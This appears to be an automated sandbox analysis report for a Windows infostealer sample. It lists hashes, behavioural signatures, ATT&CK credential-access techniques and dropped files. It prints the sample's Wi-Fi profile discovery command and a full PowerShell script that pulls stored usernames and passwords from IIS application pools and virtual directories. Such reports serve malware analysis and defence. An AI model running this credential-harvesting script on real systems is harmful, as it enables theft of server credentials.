Analysis
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max time kernel
121s -
max time network
123s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
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submitted
22/03/2025, 06:16
General
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Target
cb642e19add36851188765fe429e485b62403879d2ce5bac98ae13ea4e55c1e6.exe
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Size
9.7MB
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MD5
f7338353f580b0a71f1c73ad2477940f
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SHA1
b60d7a46dab10e5157039c1921ebdaa88a839ca4
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SHA256
cb642e19add36851188765fe429e485b62403879d2ce5bac98ae13ea4e55c1e6
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SHA512
949a1d5884243bdd978e160fc22f6930c87b27760bfac9a96ea4c85ad7f5f5ac6fea7c242eb12c5924725fb8b2cc9ccf3d3f043320f8abe6c8b572a0cc2b0c5e
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SSDEEP
196608:l6vZPKGVBFUcwti7TQlyVN8iNISRTRmW5QZ0:wI6HwtQQlyXOOQ
Malware Config
Signatures
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Loads dropped DLL 1 IoCs
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Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Checks whether UAC is enabled 1 TTPs 1 IoCs
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Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
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Network Share Discovery 1 TTPs
Attempt to gather information on host network.
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Drops file in Windows directory 1 IoCs
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Browser Information Discovery 1 TTPs
Enumerate browser information.
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
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System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs
Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.
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Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
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Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
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Suspicious behavior: EnumeratesProcesses 64 IoCs
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Suspicious use of AdjustPrivilegeToken 2 IoCs
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Suspicious use of WriteProcessMemory 9 IoCs
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Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\cb642e19add36851188765fe429e485b62403879d2ce5bac98ae13ea4e55c1e6.exe"C:\Users\Admin\AppData\Local\Temp\cb642e19add36851188765fe429e485b62403879d2ce5bac98ae13ea4e55c1e6.exe"1⤵
- Loads dropped DLL
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Windows directory
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\systeminfo.exe"systeminfo.exe"2⤵
- Gathers system information
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C:\Windows\system32\netsh.exe"netsh" wlan show profiles2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Network Configuration Discovery: Wi-Fi Discovery
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" # Check if appcmd.exe exists if (Test-Path ('C:\Windows\system32\inetsrv\appcmd.exe')) { # Create data table to house results $DataTable = New-Object System.Data.DataTable # Create and name columns in the data table $Null = $DataTable.Columns.Add('user') $Null = $DataTable.Columns.Add('pass') $Null = $DataTable.Columns.Add('type') $Null = $DataTable.Columns.Add('vdir') $Null = $DataTable.Columns.Add('apppool') # Get list of application pools Invoke-Expression 'C:\Windows\system32\inetsrv\appcmd.exe list apppools /text:name' | ForEach-Object { # Get application pool name $PoolName = $_ # Get username $PoolUserCmd = 'C:\Windows\system32\inetsrv\appcmd.exe list apppool ' + $PoolName + ' /text:processmodel.username' $PoolUser = Invoke-Expression $PoolUserCmd # Get password $PoolPasswordCmd = 'C:\Windows\system32\inetsrv\appcmd.exe list apppool ' + $PoolName + ' /text:processmodel.password' $PoolPassword = Invoke-Expression $PoolPasswordCmd # Check if credentials exists if (($PoolPassword -ne '') -and ($PoolPassword -isnot [system.array])) { # Add credentials to database $Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName) } } # Get list of virtual directories Invoke-Expression 'C:\Windows\system32\inetsrv\appcmd.exe list vdir /text:vdir.name' | ForEach-Object { # Get Virtual Directory Name $VdirName = $_ # Get username $VdirUserCmd = 'C:\Windows\system32\inetsrv\appcmd.exe list vdir ' + $VdirName + ' /text:userName' $VdirUser = Invoke-Expression $VdirUserCmd # Get password $VdirPasswordCmd = 'C:\Windows\system32\inetsrv\appcmd.exe list vdir ' + $VdirName + ' /text:password' $VdirPassword = Invoke-Expression $VdirPasswordCmd # Check if credentials exists if (($VdirPassword -ne '') -and ($VdirPassword -isnot [system.array])) { # Add credentials to database $Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA') } } # Check if any passwords were found if( $DataTable.rows.Count -gt 0 ) { # Display results in list view that can feed into the pipeline #$DataTable | Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique $DataTable | Select-Object user,pass,type,vdir,apppool } else { # Status user Write-host 'No application pool or virtual directory passwords were found.' } }2⤵
- Suspicious use of AdjustPrivilegeToken
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Network
MITRE ATT&CK Enterprise v15
Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
1.9MB
MD54429241f22fa62df22cd4f7772b44aa1
SHA19c7a5356c4fe02316e9e9688717ce70ebf322fba
SHA2565459fab6809a11c2148c235fdf8c431fe370d3f12ff25c054750f47082ccc1c9
SHA51243e2b7aebbb5faec5ca8468932403509e8a75eae7154d597e0b4064508ac6225867f2ebe37025135f9523a34b3fadd4deeecc80b8378d94b1001c68647b54dfe
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Filesize
4KB
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Filesize
9.7MB
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Filesize
9.9MB
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Filesize
9.9MB
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Filesize
9.7MB
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Filesize
84KB
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Filesize
172KB
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Filesize
88KB
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Filesize
88KB
-
Filesize
72KB
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Filesize
72KB
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Filesize
36KB
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Filesize
68KB
-
Filesize
136KB
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Filesize
48KB
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Filesize
88KB
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Filesize
60KB
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Filesize
120KB
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Filesize
144KB
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Filesize
344KB
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Filesize
68KB
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Filesize
68KB
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Filesize
72KB
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Filesize
56KB
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Filesize
152KB
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Filesize
120KB
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Filesize
524KB
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Filesize
524KB
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Filesize
60KB
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Filesize
60KB
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Filesize
48KB
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Filesize
48KB
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Filesize
324KB
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Filesize
80KB
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Filesize
108KB
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Filesize
60KB
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Filesize
36KB
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Filesize
36KB
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Filesize
276KB
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Filesize
548KB
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Filesize
44KB
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Filesize
44KB
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Filesize
36KB
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Filesize
36KB
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Filesize
64KB
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Filesize
148KB
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Filesize
56KB
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Filesize
56KB
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Filesize
28KB
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Filesize
168KB
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Filesize
192KB
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Filesize
232KB
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Filesize
32KB
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Filesize
32KB
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Filesize
304KB
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Filesize
64KB
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Filesize
296KB
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Filesize
2.0MB
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Filesize
2.0MB
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Filesize
384KB
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Filesize
384KB
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Filesize
68KB
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Filesize
456KB
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Filesize
456KB
-
Filesize
108KB
-
Filesize
376KB
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Filesize
376KB
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Filesize
1.6MB
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Filesize
1.6MB
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Filesize
80KB
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Filesize
304KB
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Filesize
304KB
-
Filesize
64KB
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Filesize
64KB
-
Filesize
44KB
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Filesize
168KB
-
Filesize
168KB
-
Filesize
104KB
-
Filesize
368KB
-
Filesize
368KB
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Filesize
656KB
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Filesize
204KB
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Filesize
204KB
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Filesize
40KB
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Filesize
36KB
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Filesize
36KB
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Filesize
348KB
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Filesize
60KB
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Filesize
656KB
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Filesize
768KB
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Filesize
376KB
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Filesize
80KB
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Filesize
52KB
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Filesize
40KB
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Filesize
292KB
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Filesize
5.9MB